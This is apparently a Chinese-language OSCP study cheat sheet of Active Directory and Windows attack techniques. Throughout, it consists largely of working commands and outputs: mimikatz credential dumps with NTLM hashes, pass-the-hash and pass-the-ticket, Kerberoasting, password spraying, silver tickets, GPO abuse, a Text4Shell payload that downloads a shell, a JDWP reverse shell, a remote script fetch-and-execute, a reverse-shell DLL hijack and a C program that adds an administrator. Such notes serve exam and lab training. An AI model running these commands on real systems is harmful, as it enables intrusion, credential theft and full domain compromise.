AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
# 比如案例里面 我们当前是S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553对我们有ReadProperty权限
# 然后我们还得查查这个SID是谁
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# 这表明SecurityIdentifier对ObjectSID有什么权限
# 下面有一个案例 主要是查询谁对"Management Department"组有完全控制权限
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll
PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins
# 上面可以看到stephanie也就是我们当前用户对这个组有完全控制权限
# 意味着我可以把自己或者其他用户加到这个组里面 然后再根据这个组的权限 干一些事情
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
# 上面把当前用户加入了进去 然后查询一下权限看看是否存在
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
# 查看组权限
Get-ObjectAcl -Identity "Management Department"
# 验证一下这些东西 然后在删除就行了
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com
PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.
我们可以再次使用 PowerView 来验证jen是该组的唯一成员:
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com
依然导入 PowerView
PS C:\Tools> Find-DomainShare
Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com
可以看到大量的smb我们可以访问的目录 缺点就是没写是否能read和write
# 然后就是经典的SYSVOL查看xml文件
# 这里它提供了一个特别方便的命令 一键就行没那么其他的麻烦事
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
# 其次就是去找共享里的东西 看看有哪些非默认的东西 比如
docshare
C:\Tools\Spray-Passwords.ps1
# 它会自己去识别域用户 然后爆破 支持单密码或者字典
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin
89.Rubeus
# 这个我在oscp的靶场运行一次 失败一次 完全无法运行 但是还是记录一下吧 实际上挺好用的
# 传到目标机器
# 一键进行AS-REP Roasting 然后hashcat就行了
.\Rubeus.exe asreproast /nowrap
# 一键找到服务账户的票据 其实和GetUserSPNs一样
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# 生成票据的时候记得看目标服务的SPN
setspn -L username
90.AD域横向(OSCP中一些非常好的思路)
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
| PID 8716
| TID 8348
| LSA Process is now R/W
| LUID 0 ; 16534348 (00000000:00fc4b4c)
\_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
\_ kerberos - data copy @ 000001F3D5D366C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000001F3D5C63B68 (32) -> null
PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae
Cached Tickets: (0)
上面的操作都是新开了一个shell PTH了 但是没有任何票据
# 下面的操作会生成一个krbtgt和cifs的票据 这个时候我就已经利用HTLM获得了Kerberos票据
net use \\files04
PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
# 因为有cifs的票据了 可以看到下面 我们可以直接PTH 相当于正常的PTH来说
# 这样能更好的隐藏自己把 就是把HTLMhash转成了Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
corp\jen
C:\Windows\system32>hostname
FILES04
传递票据
这个其实都学过 再记录一下吧
PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export
Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103
* Username : dave
* Domain : CORP.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
Target Name (02) : krbtgt ; CORP ; @ CORP.COM
Client Name (01) : dave ; @ CORP.COM ( CORP )
Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...
PS C:\Tools> dir *.kirbi
Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK
PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
Server: cifs/web04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
Start Time: 9/14/2022 5:31:32 (local)
End Time: 9/14/2022 15:31:13 (local)
Renew Time: 9/21/2022 5:31:13 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
PS C:\Tools> ls \\web04\backup
Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt
# 其实就是导出内存的票据 然后导入就行
91.ftp主动模式
切换到主动模式的命令是:
quote pasv
或者在连接前就使用 -A 参数强制使用主动模式:
ftp -A 192.168.172.145
用 passive 命令关闭被动模式:
ftp> passive
Passive mode: off
如果还是不行,可以在连接前设置环境变量:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145
使用其他 FTP 客户端如 lftp,它有更清晰的主动/被动模式控制:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off
使用 ls -la 或 ls -l 命令来查看详细列表:
ftp> ls -la
尝试切换到二进制模式后再列目录:
ftp> binary
ftp> dir
使用 quote LIST 命令直接发送原始 FTP 命令:
ftp> quote LIST
尝试用 mls 命令保存目录列表到本地文件:
ftp> mls - listing.txt
尝试访问一些 Windows FTP 服务器上常见的默认目录:
ftp> cd pub
或
ftp> cd upload
如果知道具体文件名,可以直接尝试获取:
ftp> get filename.txt
也可以尝试切换到父目录看看:
ftp> cdup
92.SSH隧道
ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147
# -L 是将目标机器上的端口转移到本地 -R是将本地的端口转移到目标机器上的端口然后开启
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147
# 搭建隧道通流量用的
ssh -D 1080 -N Administrator@192.168.125.153
proxychains本地1080就行
93.snmpwalk
snmpwalk -v1 -c public IP
snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
# 上面的命令会查询到命令名称比如
# RESET就是命令
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"命令名\"
# 常用扩展MIB查询
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table
94.CVE-2022–42889(Text4Shell)
https://meyerweb.com/eric/tools/dencoder/ #url加密网址
${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D
95.Java Debug Wire Protocol (JDWP) - Remote Code Execution
https://www.exploit-db.com/exploits/46501
https://github.com/IOActive/jdwp-shellifier/
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
最重要的一点 记得要触发accept()事件 就比如这个java开在什么端口上 你就必须去主动nc触发一下
其实在cmd的exp里集成了 但是还是要注意端口
96.windows本地提权(更全面必须用)
# 下载PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
# 在目标机器上
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
# 或者全面检查
Invoke-AllChecks
Invoke-AllChecks会检查所有可能的服务提权点,包括:
可修改的服务可执行文件
未引用路径服务
服务权限配置错误等
这样的话不用自行去寻找提权点了 比如可修改的服务可执行文件等等
97.chisel
# 这个代理工具没有ligolo-ng好用 但是他有一个ligolo-ng所没有的特性
# 就是将本地的端口转发出来 ligolo-ng没有办法将本地的服务转发出来
# 平常我用的是frp 但是在oscplabs中 比如ftp lcx ew 等等都无法使用
# 我也不知道为什么无法使用 chisel有时候都无法使用 比如在oscplabs中时
# 我发现chisel将本地端口代理出来也不行 只有ssh隧道能代理出来
# 但还是记录一下 毕竟本地端口也是个非常重要的东西
# 启动服务端
./chisel server -p 8000 --reverse
# 反向端口转发(将目标1433端口转发到攻击机)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433
# 攻击机
./chisel server -p 8000 --reverse
# 目标机
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT
# 上面是将靶机本地的端口转发出来 下面的是将kali的端口转发到windows上
# 场景就是ligolo-ng隧道 内网主机无法访问到kali 他只被允许访问内网资源 就可以做这个
# Kali攻击机
./chisel server -p 8000 --reverse
# 靶机
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80
转发靶机端口到Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
↑
指向靶机本地
转发Kali端口到靶机:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
↑
指向Kali
98.windows命令行解压
使用内置expand命令:
expand .\nmap.zip -F:* C:\programdata\test
使用PowerShell:
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination
如果目标目录存在,需要加-Force:
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force
使用tar命令(Windows 10以上):
tar -xf nmap.zip
# 解压
Expand-Archive nmap.zip
99.非常规思路
# 快速扫描
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# 不要忘记文件上传可上传的东西
echo "AddType application/x-httpd-php .dork" > .htaccess
# 服务账户失去所有权限可用
https://itm4n.github.io/localservice-privileges/?source=post_page
# 配置需要的特权列表
$Privs = @(
"SeAssignPrimaryTokenPrivilege",
"SeAuditPrivilege",
"SeChangeNotifyPrivilege",
"SeCreateGlobalPrivilege",
"SeImpersonatePrivilege",
"SeIncreaseQuotaPrivilege",
"SeShutdownPrivilege",
"SeUndockPrivilege",
"SeIncreaseWorkingSetPrivilege",
"SeTimeZonePrivilege"
)
# 创建任务Principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# 创建要执行的命令(这里用反弹shell示例)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# 注册并启动任务
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"
# 如果在域本机上 不要忘记使用powershell脚本 在本地找SPN等等信息
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. 导入脚本
Import-Module .\Get-SPN.ps1
# 2. 查找SPN
Get-SPN -type service
# 3. 请求票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. 导出票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 或使用PowerShell命令导出
klist.exe purge
klist.exe tgt
# 5. 使用hashcat破解
hashcat -m 13100 ticket.kirbi wordlist.txt
# 利用域用户权限请求任意SPN的TGS票据 主要场景就是域控或者成员主机上没有账密的时候
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt
# 域内获得账号密码 能直接登录横向的工具
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"
# Enter-PSSession 是自带的 也能用
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred
whoami /priv
# 上面会显示一些特权 还会显示一些没被启用得特权 这时候可以尝试启用
# 启用特权
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# 验证是否启用
whoami /priv
# 下面这个自动化的可以直接全部启用
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv
令牌备忘录
https://github.com/gtworek/Priv2Admin
SeMachineAccountPrivilege,SeManageVolumePrivilege特权在这一片有所介绍
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. 启用权限
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. 修改C盘权限,获得写入权限
.\SeManageVolumeExploit.exe
# 3. DLL劫持
# - systeminfo程序会加载tzres.dll
# - 在C:\windows\system32\wbem写入恶意tzres.dll
# - 生成DLL反弹shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. 执行systeminfo触发DLL加载获取SYSTEM权限
tzres.dll是系统组件,systeminfo运行时会加载它
# 1. 如果发现服务账户带$符号,且todo提到gMSA,说明是托管服务账户
# 2. 使用GMSAPasswordReader读取hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. 得到rc4_hmac hash用于登录
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB
serestore权限
# 下面这种利用方法也还行
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a
# 更加简单的方法 能直接执行shell
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"
# smb钓鱼 发起认证的时候 responder监听就行了 能拿到HTLM
# https://github.com/Greenwolf/ntlm_theft 这里各种方法都有
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1
GPO(组策略)提权
# 导入PowerView
Import-Module .\PowerView.ps1
# 查找默认域策略的信息和GUID
Get-GPO -Name "Default Domain Policy"
Get-GPPermission -Guid <GUID> -TargetType User -TargetName <当前用户>
# 权限类型可能包括:
# - GpoApply: 应用策略
# - GpoRead: 读取策略
# - GpoEdit: 编辑策略
# - GpoCustom: 自定义权限
.\SharpGPOAbuse.exe
--AddLocalAdmin # 添加本地管理员
--UserAccount # 指定要添加的用户账号
--GPOName # 指定要修改的GPO名称
# 其他可用参数:
--AddComputerScript # 添加计算机启动脚本
--AddUserScript # 添加用户登录脚本
--AddUserTask # 添加计划任务
--Command # 指定要执行的命令
# 查询权限
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# 上面是项目地址 下面是漏洞利用
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force
.\SharpGPOAbuse.exe
--AddLocalAdmin # 行为:添加本地管理员权限
--UserAccount anirudh # 要添加谁:用户名anirudh
--GPOName "Default Domain Policy" # 修改哪个GPO:默认域策略
gpupdate # 更新组策略
/force # 强制立即更新,不等待默认刷新时间
# 白银票据非常有意思的用法
# 在域控服务器上可能开着mssql 我们有svc_mssql作为服务账户可以用Kerberos直接认证
# 但是普通服务账户可能无法开启xmdshell的 就可以制作白银票据
# 因为我们已经可以访问mssql并登陆了
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
# PowerView
Get-DomainSID
# 原生PowerShell
(Get-ADDomain).DomainSID.Value
Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
# 设置票据所在位置
export KRB5CCNAME=$PWD/Administrator.ccache
# 下面这个是之前没有接触过的 平常只要导入票据 比如KRB5CCNAME 就没问题了
# 但是白银票据的导入貌似还要下面的这个配置文件
/etc/krb5user.conf
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
NAGOYA-INDUSTRIES.COM = {
kdc = nagoya.nagoya-industries.com
}
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
# mssql连就行了 最好用impacket的
impacket-mssqlclient -k nagoya.nagoya-industries.com
Kerberos配置文件搜索顺序:
KRB5_CONFIG环境变量指定的位置
/etc/krb5.conf(默认位置)
/etc/krb5user.conf
~/.krb5user.conf
# 只需修改这些部分:
default_realm = YOUR.DOMAIN.COM # 域名
[realms]
YOUR.DOMAIN.COM = {
kdc = dc.your.domain.com # 域控制器
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # 域名映射
其他配置可以保持不变:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
等这些是Kerberos行为配置,通常不需要修改。
# 在bloodhound里如果看到自身对某一个用户具有GenericWrite权限 就可以修改他的SPN
# 然后获得TGT 挺有意思的一个利用
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/
targetedKerberoast和普通的Kerberoast不同:
普通Kerberoast:
powershellCopy# 任何域用户都能执行
Get-DomainUser -SPN # 枚举所有SPN
Rubeus.exe kerberoast # 请求所有SPN的票据
targetedKerberoast针对性利用:
需要GenericWrite权限
可以临时给普通用户添加SPN
获取票据后再移除SPN
# bloodhound里面可以找到的
# 当前用户有ReadLAPSPassword权限
# 可以读取域内机器的本地管理员密码
ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
100.OSCP一些细节
任意文件读取
任意文件读取更多的是读重要信息吧,比如SSH私钥,但是在浏览器里面读取的时候会导致格式错乱,我之前也遇到过这种情况,没有什么好的解决办法,就是挨个找位数挨个回车,但是OSCP提到了这一点
其实就是curl就行了
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
--path-as-is
这个参数可以让curl 不要把 ../../ 给变成/
测试目录字典
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
apache 2.4.49目录遍历漏洞
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is
curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is
responder
ip a
sudo responder -I tun0
sudo responder -I tun0 -v
一个非常有意思的案例
当域内主机存在ssrf漏洞的时候 我一般会让他向我的攻击机http请求
但是http请求通常不会需要认证 他也就不会携带HTLM
但是 smb和webdav他是会携带的 再配合伪协议就行
file:192.168.45.184/share
或者webdav
http://192.168.45.184/share
态势感知信息收集(非常重要)windows提权
# 当前用户所属的所有组
whoami /groups
powershell
# 本机用户和是否启用 以及描述
Get-LocalUser
# 本地组
Get-LocalGroup
# 以上面组名为参数 查看这个组的成员
Get-LocalGroupMember adminteam
# 路由表
route print
# 查看所有的应用程序
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# 查看进程
Get-Process
# 类似于find把 思路可以
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
# 转录文件 可能存在账号密码
C:\Users\Public\Transcripts\transcript01.txt
# 检索历史记录
(Get-PSReadlineOption).HistorySavePath
# 可能存在密码的文件
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
# 存在的服务
# 这一条过滤了 没有运行的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# 显示所有服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam
# 查看文件权限
icacls "C:\xampp\apache\bin\httpd.exe"
Mask | Permissions |
F | Full access |
M | Modify access |
RX | Read and execute access |
R | Read-only access |
W | Write-only access |
替换服务exe的时候 可以自行编译一个
adduser.c
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
后续就是net stop或者net start 服务了
# 查看目标服务的启动类型
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
AUTO就是自启动
PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
# 显示可修改的服务
Get-ModifiableServiceFile
# 一键替换二进制文件 默认创建一个名为john的本地用户,密码为Password123!
Install-ServiceBinary -Name 'mysql'
# 手动测试 检查权限
